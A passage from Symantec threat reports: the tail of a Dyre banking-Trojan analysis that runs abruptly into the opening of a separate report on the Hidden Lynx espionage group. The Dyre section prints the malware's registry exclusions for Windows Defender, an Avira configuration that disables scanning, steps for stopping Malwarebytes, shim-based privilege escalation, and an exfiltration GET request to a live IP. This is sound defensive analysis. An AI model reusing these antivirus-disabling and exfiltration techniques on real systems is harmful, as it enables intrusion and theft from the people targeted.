software (Windows Defender, Microsoft Antimalware, Malwarebytes, ESET, and AVG)
2. Escalates privilege
3. Decrypts and drops resources, then launches the dropped file
4. Exfiltrates computer name and version information to a remote serverTable 22. Decompressed PE characteristics
File name 95122947595d56e22cc1805c42c04ec9
MD5 95122947595d56e22cc1805c42c04ec9
SHA-1 9b584d851c74c8255608bd64d2c212cff10618f1
SHA-256 8614b9a9286beb5f574d39ebb3d9b790036ab6c7470d1c702186553a8b68d3f9
Size (bytes) 507,904
Purpose Dropper, disables security softwarePage 21
Dyre: Emerging threat on financial fraud landscape
It uses the following approaches to escalate privilege:
• Exploiting CVE-2014-4113
Using the Application Compatibility Database Installer (sdbinst.exe)For sdbinst.exe, the Trojan first drops
the custom shim database file (com.[USER NAME].sdb) and then loads the dropped file. The file contains the
following strings inside which indicate that iscsicli.exe will be redirected to another .bat file.
iscsicli.exe
REDIRECTEXE
%Temp%\..\..\LocalLow\cmd.%Username%.bat
The batch file contains a command to launch itself again. Then it runs iscsicli.exe, which automatically launches
the malware with escalated privileges in the end. Finally, it runs “sdbinst /q /u” to unregister the sdb file.
It can disable security software depending on the processes found.
Mssece.exe
When the msseces.exe process (Windows Defender or Microsoft Antimalware) is found, the Trojan injects code to
spoolsv.exe to create the following registry entries:
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\”*.exe” = “0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\”*.dll” = “0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\”*.tmp” = “0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\”afwqs.exe” = “0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\”rgjdu.exe” = “0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\”explorer.exe” = “0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\”spoolsv.exe” = “0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\”rundll32.exe” = “0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\”consent.exe” = “0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\”svchost.exe” = “0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Extensions\”*.exe” = “0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Extensions\”*.dll” = “0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Extensions\”*.tmp” = “0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes\”afwqs.exe” =
“0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes\”rgjdu.exe” =
“0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes\”explorer.exe” =
“0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes\”spoolsv.exe” =
“0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes\”rundll32.exe” =
“0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes\”consent.exe” =
“0”
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes\”svchost.exe” =
“0”
Mbam.exe
When the mbam.exe process (Malwarebytes Anti-Malware) is found, the Trojan creates the following registry
entry:
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\”WinNtM” = “1”
Next, the Trojan overwrites the following configuration files with data embedded inside the malware:
• %UserProfile%\Malwarebytes\Malwarebytes Anti-Malware\Configuration\settings.confPage 22
Dyre: Emerging threat on financial fraud landscape
• %UserProfile%\Malwarebytes\Malwarebytes Anti-Malware\Configuration\scheduler.conf
• %UserProfile%\Malwarebytes\Malwarebytes Anti-Malware\exclusions.dat
It then loads mbam.dll and calls the following APIs:
• ProtectionStop
• SchedulerStop
• SelfProtectionDisable
Finally, the Trojan ends the mbam.exe process.
ekrn.exe
When the process ekrn.exe (ESET) is found, it creates the following registry entry:
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\”WinNtE” = “1”
Next, the Trojan removes updfiles, lastupd.ver and upd.ver.
avgui.exe
When the avgui.exe process (AVG) is found, the Trojan creates the following registry:
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\”WinNtAv” = “1’
The Trojan then removes the update folder used by AVG, then recreates the folder and writes one byte to the file
update\download.
avgnt.exe
When the avgnt.exe process (Avira) is found, the Trojan creates the following registry:
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\”WinNtAr” = “1”
Next, the Trojan overwrites avwin.ini with the following and then runs avconfig.exe /SAVEAVWININI=”avwin.ini;”:
#########################################################
# $AV$CONFIGURATION$INI
#########################################################
# This file has been created automatically.
# DO NOT MODIFY!!
#########################################################
[CFGPROFILE]
[COMMON]
[SCANNER]
BeforeActionToQuarantine=0
BootsektorStart=0
MasterBootSectors=0
NoNetDrv=0
PrimaryActionForInfected=5
ScanActionMode=0
ScanAllFiles=0
ScanArchivSmartExtensions=1
ScanArchiveCutRecursionDepth=1
ScanArchiveExclude=
ScanArchiveRecursionDepth=20
ScanArchiveScan=0
ScanCheckSystemFiles=0
ScanDiffExtension=
ScanHeuristicFile=1
ScanHeuristicFileEnabled=0Page 23
Dyre: Emerging threat on financial fraud landscape
ScanHeuristicMacroEnabled=0
ScanInteractiveMode=1
ScanPriority=1
ScanRegistry=0
ScanReportLevel=0
ScanRootkits=0
ScanSkipOfflineFiles=0
ScanSkipReparsePoint=1
SecondaryActionForInfected=5
ShowWarningMessages=0
StopAllowed=1
UsePerformanceScan=0
[SKIPFILES]
Path0=C:\Program Files (x86)
Path1=c:\program files\
Path2=C:\ProgramData\
Path3=c:\windows
[GUARD]
ArcMaxFilecount=10
ArcMaxRatio=250
ArcMaxRecursion=1
ArcMaxSize=1000
ArcScan=0
GuardDeactivatedByWSC=0
MacroVirusHeuristic=0
MaximumLogFileSize=0
OnAccessBackupLog=0
OnAccessCacheNetworkAccess=1
OnAccessExcludeProcessNames=
OnAccessExcludedProcess0=explorer.exe
OnAccessExcludedProcess1=sdbinst.exe
OnAccessExcludedProcess2=spoolsv.exe
OnAccessExcludedProcess3=svchost.exe
OnAccessExcludedProcess4=winlogon.exe
OnAccessExtensionList=
OnAccessFileExclusionCount=1
OnAccessScanAllFiles=0
OnAccessScanLocalDrives=1
OnAccessScanNetworkDrives=0
OnAccessWriteConfigToLog=0
Path0=c:\
ReportingLevel=0
UseEventlog=0
UseWhitelistServer=0
Win32Heuristic=0
Win32HeuristicMode=1
[POP3CONFIG]
[SENDMSG]
[UPDATE]
CloseConnection=1
DUNConnection=*DUN*WIN*CONNECT*
DUNPhonebook=
DialUpLogin=
DialUpPassword=
DownloadLocation=1
ProductUpdateMode=0Page 24
Dyre: Emerging threat on financial fraud landscape
[VDFCHECK]
[EVENTLOG]
[REPORTS]
[WEBGUARD]
[BACKUP]
[WMI]
[HIPS]
[MANAGEDFIREWALL]
FirewallConfiguration={“managedFirewall” : {“public” : {“state” :
1,”notify” : 1,”blockIn” : 0},”private” : {“state” : 1,”notify” : 1,”blockIn”
: 0}}}
Data exfiltration
The Trojan can send the information of the compromised computer (computer name and version information) to
a remote server (IP: 181.189.152.131) through a GET request.
GET /2402us22/ADMIN-USER/41/7/4/ HTTP/1.1
User-Agent: Mazilla/5.0
Host: 181.189.152.131:14127
Cache-Control: no-cache
Dropping Dyre
The Trojan can drop and execute PE files. The resource with the name “EXE1” contains the encrypted PE (XORed
with 0x1). The Trojan decrypts the PE, drops it to the %Temp% folder, and executes the dropped file, which
in this case is Dyre (MD5: a62582d46ea8c172778753ed13f1b2c1). The name of the dropped file is randomly
generated. The size is eight bytes, starts with six characters and ends with two numbers, e.g. “kgsATx70”.While the Dyre
Trojan’s main
purpose is the
theft of banking
credentials, it is
also capable of
downloading and
installing additional
malware on to the
victim’s computer.
RELATED THREATSPage 26
Dyre: Emerging threat on financial fraud landscape
Related threats
Dyre is a multi-faceted threat. While the Dyre Trojan’s main purpose is the theft of banking credentials, it is also
capable of downloading and installing additional malware on to the victim’s computer. In many cases, the victim
is added to a botnet which is then used to power further spam campaigns and infect more victims. Symantec has
observed the Dyre group using at least seven different pieces of additional malware.
Trojan.Spadyra
Table 23 details the characteristics
of Trojan.Spadyra.
The main purpose of Spadyra is
to send spam emails. The Trojan
retrieves the lists of email addresses
and phishing mail content from
a C&C server. The malware will
then compose the spam emails
and dispatch them to target email
addresses. Approximately 5,000
emails are sent in a single run.
Trojan.Spadoluk
Table 24 details the characteristics
of Trojan.Spadoluk.
Spadoluk is also a spamming
Trojan. The main difference
between Spadoluk and Spadyra is
that the former relies on Microsoft
Outlook libraries on the victim’s
computer to send spam emails. A
newer variant of Spadoluk (MD5:
9CEE0DE5AA564A554751DA1EEA
7266EF) is also capable of using
Thunderbird to send spam emails.
The malware will install a custom Thunderbird plugin to retrieve addresses from the address book and dispatch
spam emails.
Trojan.Pandex.B (version 1)
Table 25 details the characteristics
of Trojan.Pandex.B version 1.
This Trojan adds the victim to
the Pandex botnet (also known
as Cutwail or Pushdo). Pandex
is primarily a spamming botnet.
Pandex.B has the ability to
download and execute new files
and our analysis found a spam
module being downloaded to
computers already infected with
Dyre. Table 23. Trojan.Spadyra characteristics
File name c87a08dd75b96c4b47e2e0f302e375f4
MD5 c87a08dd75b96c4b47e2e0f302e375f4
SHA-1 9519ab12f55700b73a0724f83c2af52090c2c333
SHA-256 d4108aeec54427804f2bb8cb6ac10e2ad07c13a30a782348f5292f4200cfb83f
Size (bytes) 43,520
Timestamp 0x550C20F6, 20 Mar 2015 13:30:30
Table 24. Trojan.Spadoluk characteristics
File name 29d0960d37c33c06466ecec5bdb80d0f
MD5 29d0960d37c33c06466ecec5bdb80d0f
SHA-1 9af6efaade11e0c6e92de798c62b099874020da1
SHA-256 225e94f198bdfcf7550dc30881654f192e460dce88fe927fad8c5adb149eed25
Size (bytes) 1,075,220
Timestamp 0x550845ea, 17 Mar 2015 15:19:06
Table 25. Trojan.Pandex.B characteristics (old variant)
File name d0ec06ec92435343934c4101f7a668a0
MD5 d0ec06ec92435343934c4101f7a668a0
SHA-1 2d6e3869ee6b1c8bd2fa5076f645f33fb2d30c65
SHA-256 517ab061caffe3fefb60277ef349e26da5dd434b903d3c6bdfc08b908c596b1b
Size (bytes) 90,112
Timestamp 0x550AB179, 19 Mar 2015 11:22:33Page 27
Dyre: Emerging threat on financial fraud landscape
Trojan.Pandex.B (version 2)
Table 26 details the characteristics
of Trojan.Pandex.B version 2.
The new variant of Pandex has
similar functionality to the older
variant, but uses different types
of C&C communications. The
malware connects to the C&C
server using direct IP address
instead of domain-based URLs.
Infostealer.Kegotip
Table 27 details the
characteristics of Infostealer.
Kegotip.
Kegotip is an information stealer
and is designed to gather user
credentials from the following
software:
• SecureFX
• FTP Rush
• UltraFXP
• ALFTP
• FTP Commander
• FTP Navigator
• TurboFTP
• SmartFTP
• WSFTP
• Filezilla
• Far Manager
• Total Commander
• Globalscape Software
Kegotip also attempts to gather login credentials from files on the computer, excluding files with the following
extensions:
• .rar
• .zip
• .cab
• .avi
• .mp3
• .jp
• .gif
All stolen data is sent to a remote
server (IP address: 85.25.153.26).
Trojan.Fareit
(version 1)
Table 28 details the
characteristics of Trojan.Fareit
version 1.Table 26. Trojan.Pandex.B characteristics (new variant)
File name 5dc6a5ed69d0f5030d31cefe54df511b
MD5 5dc6a5ed69d0f5030d31cefe54df511b
SHA-1 d652a827cae45003b1c745a06ddbc063a1d98644
SHA-256396b28fe05be372cc406c7a0ba84459756485a94b8e6540c984500d -
8e3de9617
Size (bytes) 74,240
Timestamp 0x55094AF9, 18 Mar 2015 09:52:57
Table 27. Infostealer.Kegotip characteristics
File name 14297420f68765b77b7f51be2702ff35
MD5 14297420f68765b77b7f51be2702ff35
SHA-1 3795d7f0c13763b2e5b17b6ffce19d0e2a3c35e2
SHA-256 15ad4e87903e76338450ee05b6456cd6c658da7c10c5df3cc5eade155ae3f754
Size (bytes) 116,224
Timestamp 0x55003D39, 11 Mar 2015 13:03:53
Table 28. Trojan.Fareit characteristics (old variant)
File name 18dd60ff3b1fc53b25c349c8342071da
MD5 18dd60ff3b1fc53b25c349c8342071da
SHA-1 4932301af614a6a8babd719c30fb6c192cf101c7
sha256 2a335d02f4391e83367c78aaf36070d7d1794ca57101332f4d3450e8cfd3c6bf
Size (bytes) 118,784
Timestamp 0x5510670C, 23 Mar 2015 19:18:36Page 28
Dyre: Emerging threat on financial fraud landscape
Fareit is another information-stealing Trojan, which is configured to steal users’ credentials from the following
software:
• Far Manager
• Total Commander
• WSFTP
• CuteFTP
• FlashFXP
• Filezilla
• FTP Commander
• FTP Navigator
• Bullet Proof FTP
• SmartFTP
• TurboFTP
• Sota FFFTP
• FTP Explorer
• VanDyke
• UltraFXP
• BitKinex
• ExpanDrive
• ClassicFTP
• FTPClient
• Leapftp
• Opera Software
• FTPVoyager
• LeechFTP
• WinFTP
• FreshFTP
• BlazeFtp
• EasyFTP
• FTP Now
• NovaFTP
Trojan.Fareit (version 2)
Table 29 details the
characteristics of Trojan.Fareit
version 2.
A recent variant of Fareit
has downloader capabilities
similar to Upatre. The
Dyre Trojan (MD5:
7426077f151a3512c298ca0
8538477b6) was downloaded
during analysis. In addition, the
newer variant of Fareit has the
ability to gather wallet.dat files
from compromised computers. This allows the attackers to steal bitcoins, litecoins, namecoins and other digital
currencies from the victim. Table 29. Trojan.Fareit characteristics (new variant)
File name usps_label_3278558046363.pif
MD5 da865d4def4f5a87c786055cb083cb0e
SHA-1 65129b38cba814d4024ed3eb3cdba7ca81162e96
sha256 4a680966bf6228d39b685c673af47fd53221db7a407920bd9085bc8c5d73bd7f
Size (bytes) 256,512
Timestamp 0x5549EABA, 06 May 2015 11:19:38Page 29
Dyre: Emerging threat on financial fraud landscape
Trojan.Doscor
Table 30 details the
characteristics of Trojan.
Doscor.
Doscor adds the infected
computer to a botnet which
can be used to mount
distributed denial-of-service
(DDoS) attacks.
Doscor has targeted the
following websites:
• psb4ukr[.]org
• habrahabr[.]ru/post/%d
• programmersforum[.]ru/showthread.php?t=%d
• coru[.]ws/index.php?/forum
• www.bicotender[.]ru
• forum.codenet[.]ru
Notably, “psb4ukr[.]org” may have been targeted due to its NATO link, according to an online article from
Eurasia Today .
Trojan.Fitobrute
Table 31 details the
characteristics of Trojan.
Fitobrute.
Fitobrute uses the infected
computer to launch brute-
force attacks against FTP hosts
based on a list of passwords.
To perform attacks, the
malware retrieves domains
and the lists of passwords
to use from the C&C server.
If successful, the Trojan will
notify the attackers by sending the relevant credentials of the FTP host to the C&C server.Table 30. Trojan.Doscor characteristics
File name f25ce5cae4c9e18dc65c207f079e89ad
MD5 f25ce5cae4c9e18dc65c207f079e89ad
SHA-1 2da5d0ba89a27d04e79350c4556d742060a59b88
SHA-256 ab8078b4e2075a060943c349836d9386f4f8098b2276bb4b7d50ca1ef3df74e5
Size (bytes) 36,864
Timestamp 0x55395A37, 23 Apr 2015 21:46:47
Table 31. Trojan.Fitobrute characteristics
File name d04c.tmp
MD5 af8b2a436e85c065c87e854a415c4e0a
SHA-1 b07130063c646e7767ff6facdf7573f2b8485e67
SHA-256 6dd49e223965209e19bb525eb716f1e18e1a6f9d810ef3e67f535759d8c80111
Size (bytes) 11,776
Timestamp 0x556378B4, 25 May 2015 20:32:04CONCLUSION
Dyre is
multi-pronged
threat, capable
of mounting
attacks against all
three major web
browsers. Page 31
Dyre: Emerging threat on financial fraud landscape
Conclusion
Symantec has observed a significant increase in activity from the group behind Dyre since June 2014. Following
takedowns of a number of other major financial threats, such as Gameover Zeus and Shylock, Dyre has filled the
vacuum and emerged as the main active threat in this arena.
The group behind Dyre has put considerable time and effort into expanding its operations, adding to its
infrastructure and broadening its reach to now target the customers of more than 1,000 banks and other
organizations.
Dyre is a multi-pronged threat, capable of mounting attacks against all three major web browsers. In addition to
stealing financial credentials, the malware can also be used to infect the victim with further threats.
As such, Dyre represents a particular threat to consumers, particularly in English-speaking countries, where the
largest numbers of targeted banks are located.
|
SECURITY RESPONSE
The Hidden Lynx group is a professional team of attackers
with advanced capabilities.Follow us on Twitter
@threatintelVisit our Bloghttp://www.symantec.com/connect/symantec-blogs/srHidden Lynx – Professional
Hackers for Hire
Stephen Doherty,
Jozsef Gegeny,Branko Spasojevic,Jonell Baltazar
Version 1.0 – September 17, 2013Hidden Lynx – Professional Hackers for HireCONTENTS
OVERVIEW ..................................................................... 3
Background ................................................................... 5
Who are the Hidden Lynx group? .................................. 5
Who are their targets? .................................................. 7
What is their motivation? .............................................. 7
Corporate Espionage ............................................... 8
Attacks against government contractors ................ 8
What are they capable of? ............................................ 8
Subverting trust protection models ........................ 8
Advanced zero-day access .................................... 13
Supply chain attacks ............................................. 14
Conclusion ................................................................... 16
Appendix ..................................................................... 18
Related attacks ...................................................... 18
Resources .................................................................... 25
Symantec Protection ................................................... 26The Hidden Lynx group is a professional team of attackers with advanced capabilities. They
were responsible for the compromise of security firm Bit9’s digital code-signing certificate
which was used to sign malware. The Bit9 breach was part of the much larger VOHO
campaign and that campaign was just one of many operations undertaken by the group over the last four years.
The group likely offers a “hackers for hire” operation and is tasked with retrieving specific
information from a wide range of corporate and government targets. They are a highly efficient team who can undertake multiple campaigns at once, breach some of the world’s
best-protected organizations and can change their tactics quickly to achieve their goal.
They usually attack using multiple customized Trojans designed for specific purposes. Backdoor.Moudoor is used for larger campaigns and has seen widespread distribution while
Trojan.Naid is reserved for special operations against high value targets. The group uses
cutting-edge attack techniques which makes this team stand out from other major attack groups.
This paper takes an in-depth look at the Hidden Lynx group, their targets and their
motivations. It will look into their capabilities and attack strategies through their attack campaigns including the Bit9 incident.
OVERVIEWA well-known
group with affiliations to “Operation Aurora” managed to break into Bit9’s network using an SQL injection attack.
BACKGROUNDPage 5
Hidden Lynx – Professional Hackers for Hire
Background
In February 2013, Bit9 released a statement revealing that in July 2012, their network had been compromised by
a malicious third-party. A well-known group named Hidden Lynx with affiliations to “Operation Aurora” managed to break into Bit9’s network using an SQL injection attack. These Trojans made their way into the defense
industrial sector.
However, the Bit9 compromise was only a small piece of a much larger watering-hole operation known as the
VOHO campaign, which impacted hundreds of organizations in the United States. Further, the VOHO campaign itself was just one campaign of many that is attributable to this incredibly prolific group. Each campaign is designed to access information in governmental and commercial organizations that tend to operate in the wealthiest and most technologically advanced countries in the world.
Who are the Hidden Lynx group?
The Hidden Lynx group has been in operation since at least 2009 and is most likely a professional organization that offers a “hackers for hire” service. They have the capability to attack many organizations with concurrently running campaigns. They operate efficiently and move quickly and methodically. Based on these factors, the Hidden Lynx group would need to be a sizeable organization made up of between 50 and 100 individuals.
The members of this group are experts at breaching systems. They engage in a two-pronged strategy of mass
exploitation and pay-to-order targeted attacks for intellectual property using two Trojans designed specifically for each purpose:
• Team Moudoor distributes Backdoor.Moudoor , a customized version of “Gh0st RAT”, for large-scale campaigns
across several industries. The distribution of Moudoor requires a sizeable number of people to both breach
targets and retrieve the information from the compromised networks.
• Team Naid distributes Trojan.Naid , the Trojan found during the Bit9 incident, which appears to be reserved
for more limited attacks against high value targets. This Trojan was leveraged for a special operation during the VOHO campaign and is probably used by a specific team of highly skilled attackers within the group. This Trojan was also found as part of “Operation Aurora” in 2009.
Much of the attack infrastructure and tools used during these campaigns originate from network infrastructure
in China. The Hidden Lynx group makes regular use of zero-day exploits and has the ability to rework and customize exploits quickly. They are methodical in their approach and they display a skillset far in advance of some other attack groups also operating in that region, such as the Comment Crew (also known as APT1). The Hidden Lynx group is an advanced persistent threat that has been in operation for at least four years and is breaking into some of the best-protected organizations in the world. With a zero-day attack already under their belt in 2013, they continue to operate at the leading edge of targeted attacks.The diverse set
of targets from a variety of sectors would indicate that this group is not focused on any one specific task.
WHO ARE THEIR TARGETS?Page 7
Hidden Lynx – Professional Hackers for Hire
Who are their targets?
Since November 2011, hundreds
of organizations worldwide have been targeted by the Hidden Lynx group. These organizations have remained relatively consistent during this time period. The group targets organizations operating in both the commercial sector and within all levels of government. The diverse set of targets from a variety of sectors would indicate that this group is not focused on any one specific task. The group manages concurrent campaigns in attacks that are global in nature.
The Hidden Lynx group has most
recently conducted attacks against specific organizations in South Korea and has a long history of attacking the defense industrial sector of Western countries.
The top 10 organizations categorized
by the verticals they belong to are shown in Figure 1.
The most targeted countries/regions
are shown in Figure 2.
What is their motivation?
This broad range of targeted information would indicate that the attackers are part of a professional organization. They are likely tasked with obtaining very specific information that could be used to gain competitive advantages at both a corporate and nation state level. It is unlikely that this organization engages in processing or using the stolen information for direct financial gain. Their mode of operation would suggest that they may be a private organization of “hackers for hire”, who are highly skilled, experienced professionals whose services are available for those willing to pay.
Figure 1. Top 10 organizations targeted by the Hidden Lynx group since November 2011
Figure 2. Countries/regions targeted by the Hidden Lynx group since November 2011Page 8
Hidden Lynx – Professional Hackers for Hire
Corporate Espionage
The financial services sector has been identified as the most heavily targeted industry overall. There is a
tendency to target specific companies within this sector. Investment banks and asset management agencies account for the majority of organizations targeted within this industry. The absence of certain types of financial institutions, such as those operating as commercial banks, clearly indicates that the attacks are focusing on specific areas. The organizations involved would have expertise in large corporate deals, such as confidential information on upcoming mergers and acquisitions, which could be used to gain a competitive edge. Targeting this sector in such a concentrated fashion could provide invaluable information when negotiating large takeovers or trading shares on the stock exchange.
Attacks on the financial sector are not limited to investment banks. Stock trading firms and one of the world’s
largest stock exchanges have been subjected to attacks from this group. The Hidden Lynx group has also undertaken indirect attacks through the supply chains. Organizations that supply hardware, secure network communications and services specific to the financial sector have also come under attack. There is almost certainly a financial motivation behind these attacks.
Attacks against government contractors
In attacks that have targeted all levels of government from local to national level, this group has repeatedly attempted to infiltrate these networks. Attacks against government contractors and, more specifically, the defense industry indicate that the group is in pursuit of confidential information and suggests that the group had been working for nation states.
Targeting advanced technologies in specific areas such as aerospace would be useful in order to close
technological gaps or gain knowledge of the advanced capabilities of other nation states. Attacks on organizations that operate in the Internet services space can provide a wealth of valuable information. The group had affiliations to “Operation Aurora” (See appendix for more details), a campaign that targeted a number of organizations including software manufacturers and defense contractors. More recently, Microsoft claimed that
the target was databases containing emails marked for court order wiretaps. They believe that these attacks were counter-intelligence operations, activities that would provide benefits at a nation state level.
What are they capable of?
The group’s tools, tactics and procedures are innovative and typically cutting-edge. They use custom tools and techniques that they tailor to meet their objectives and maximize their chance of success. They attack public-facing infrastructure and have been observed installing highly customized Trojans that are purpose-built for stealth. They engineered one of the most successful watering-hole attacks to-date. They also undertake spear-phishing attacks and hack supply chains in order to distribute their custom Trojans. This is an established team with years of experience. They are well resourced and highly skilled.
The Hidden Lynx group’s advanced capabilities are clearly demonstrated in three major campaigns. In the VOHO
campaign, they showed how they could subvert Bit9’s established trust models. In the FINSHO campaign, they managed to get advanced knowledge of a zero-day exploit and in the SCADEF operation, they undertook supply chain attacks to succeed in their campaign.
Subverting trust protection models
The team can adapt rapidly to counter-measures that would otherwise hinder the success of a campaign. The attack on Bit9 showed how the group could bypass solid trust protection models to get to their targets. However, this attack was only a small part of the larger VOHO campaign, where the group proved how quickly they can adapt and change their tactics in the face of new and unforeseen obstacles.Page 9
Hidden Lynx – Professional Hackers for Hire
The Bit9 incident
Bit9 is a security company headquartered in Waltham, Massachusetts. As an alternative to traditional
signature-based antivirus solutions, Bit9 offers a trust-based security platform that runs off of a cloud-based
reputation service combined with policy-driven application control and whitelisting to protect against cyberthreats. As a result, it is difficult for a malicious third-party to install an untrusted application, such as a remote access Trojan (RAT), onto a system that is adequately protected with the Bit9 platform. Undaunted by this, the elite Hidden Lynx group took up the challenge.
On February 8 2013, Bit9 released details revealing
that a malicious third-party had gained access to one of their digital code-signing certificates. During this incident, a number of Trojans and malicious scripts were signed. In a follow up post on February 25, more details of the attack emerged. In July 2012, more than six months earlier, a malicious third-party gained access to their network using an SQL injection attack. Due to an operational oversight, a public-facing server that wasn’t protected with the Bit9 platform allowed the attackers to gain unauthorized access.
The attackers installed Backdoor.Hikit, a Trojan
that provides extremely stealthy remote access to compromised systems. This highly customized Trojan is typically installed onto servers in the victims’ DMZ, which was the case at Bit9. Credentials for another virtual machine were then stolen. These were used to access the virtual machine that contained one of Bit9’s digital code-signing certificates. The attackers
used this code-signing infrastructure to sign thirty-two malicious files. Symantec telemetry shows some of these files have been present within select organizations in the United States defense industrial sector.
The signing of these files is significant, since
they could then be used to circumvent the trust protection model offered by the Bit9 platform. The Trojans signed include variants of Backdoor.Hikit (the remote access Trojan used in the initial compromise) and another RAT called Trojan.Naid. Some malicious attack scripts were also signed. Each Trojan has a specific purpose. Backdoor.Hikit was used to target public-facing infrastructure while Trojan.Naid was used to perform highly targeted attacks through email and watering-holes.
Bit9 was alerted to the compromise in January
2013 and took immediate containment steps such as revoking the digital signature and reaching out to their entire customer base. According to Bit9, the attacks that followed
Figure 3. Trojan.Naid – Bit9 digital certific ate, July 13, 2012, provided by Symantec’s CA
Figure 4. Trojans successfully acquired with command-and-control (C&C) servers from the Bit9 investigationPage 10
Hidden Lynx – Professional Hackers for Hire
were not financially motivated, but rather were an attempt to access information. On Bit9’s own admission,
three customers were impacted.
In conjunction with the Bit9 compromise, the Hidden Lynx group had another significant campaign well under
way. They had just concluded phase one of the VOHO campaign, a watering-hole operation orchestrated to attack organizations in the Boston, Massachusetts area – it was a likely a distribution vector for the newly signed files.
The VOHO campaign
The VOHO campaign, first publicized by RSA, is one of the largest and most successful watering-hole attacks to date. The campaign combined both regional and industry-specific attacks and predominantly targeted organizations that operate in the United States. In a rapidly spreading two-phase attack, which started on June 25 and finished July 18, nearly 4,000 machines had downloaded a malicious payload. These payloads were being delivered to unsuspecting victims from legitimate websites that were strategically compromised.
This watering-hole infection technique was quite innovative
at the time. In a watering-hole attack, the attacker compromises a legitimate website that the target uses and trusts. The attacker then lies in wait for the target to visit the compromised site in order to infect them. The scale and targeted nature of the VOHO campaign set it apart from watering-hole attacks observed in the past. The group first adopted this technique in December 2011 when an exploit for the Oracle Java SE Rhino Script Engine Remote Code Execution Vulnerability (CVE-2011-3544) was leveraged to distribute their payloads. As a result of their success, many other strategic compromises have been adopted by other attack groups, as seen in a notable attack targeting iOS developers earlier in 2013 which impacted employees at Facebook, Apple and Twitter.
In the VOHO campaign, ten legitimate
websites were strategically compromised. The attackers carefully selected these websites based on the likelihood that the intended target(s) would visit them during the exploit delivery phase. The attackers likely pre-determined who visited the watering-hole in advance of the distribution phase of attack. This could easily be achieved by examining the access logs of compromised Web servers. The categories of websites compromised were both regional and industry-specific in nature and targeted the following key areas illustrated in Figure 5.
Figure 5. The VOHO campaign target regions and industries
Figure 6. The VOHO campaign malicious activity timeline - a two-phase attackPage 11
Hidden Lynx – Professional Hackers for Hire
Timeline of activity
The VOHO watering-hole distributed remote access Trojans in two phases. In phase one of the attack, an Internet
Explorer zero-day vulnerability, the Microsoft XML Core Services CVE-2012-1889 Remote Code Execution Vulnerability (CVE-2012-1889), was leveraged. On July 10, Microsoft introduced the patch for CVE-2012-1889 and activity at the watering-hole ceased. This appears to have been a clever decision on behalf of the attackers. If they continued to deliver the exploit, they risked detection and would have hurt their chances of retaining access to the watering-hole for phase two of the campaign. Within six days, phase two of the distribution began, this time using a malicious Java applet exploiting the Oracle Java SE CVE-2012-1723 Remote Code Execution
Vulnerability (CVE-2012-1723). This Java exploit was patched at the time. Having already used two zero-day exploits in quick succession (the first zero-day exploit was used in the GOTHAM campaign in May 2012, see appendix for more details), the Hidden Lynx group may not have had another one at their disposal.
The timeline of activity at the watering-hole is shown in Figure 6.In each phase of the attack, two Trojans were being distributed at different intervals. The customized version
of “Gh0st RAT”, Backdoor.Moudoor, saw large-scale distribution in comparison to Trojan.Naid, which was used more selectively in these attacks.
Before being used in the second phase of the attack, Trojan.Naid was signed with the Bit9 certificate. Moudoor
was never observed during the attack on Bit9, which could indicate that two separate teams are at work here. With Moudoor and Naid using different command-and-control (C&C) servers, each team could work independently on alternative objectives. The discovery of the Naid C&C would also be less likely in comparison to Moudoor’s, as its large-scale distribution would inevitably create more noise as it continued to impact many organizations.
Figure 7. The VOHO campaign – Trojans distributed and C&C servers used to command and controlPage 12
Hidden Lynx – Professional Hackers for Hire
Team Naid’s role
During this campaign, Team Naid had a very specific objective – to gain access to information from organizations
operating in the defense industrial sector. An unsigned version of Naid was distributed to select victims within the defense industrial sector during phase one until Microsoft supplied a patch for CVE-2012-1889 on July 10. It may have been during this phase of the attack when the team realized the information they sought was held by organizations protected by Bit9. As the team found it difficult to compromise Bit9-protected computers and had no viable exploit for distribution, their immediate objective focused on Bit9’s digital code-signing certificate.
By July 13, just a few days after they started their attacks on Bit9, they obtained the Bit9-signed Naid. By the
next day, they had built a viable Java exploit to distribute their Trojan. Armed with the newly-signed Trojan and delivery vehicle, the group resumed malicious activity at the watering-hole for three days from July 16. It was during this period that three organizations protected with the Bit9 platform were successfully compromised.
In this campaign, Naid was specifically reserved for special operations against high value targets. Team Naid’s
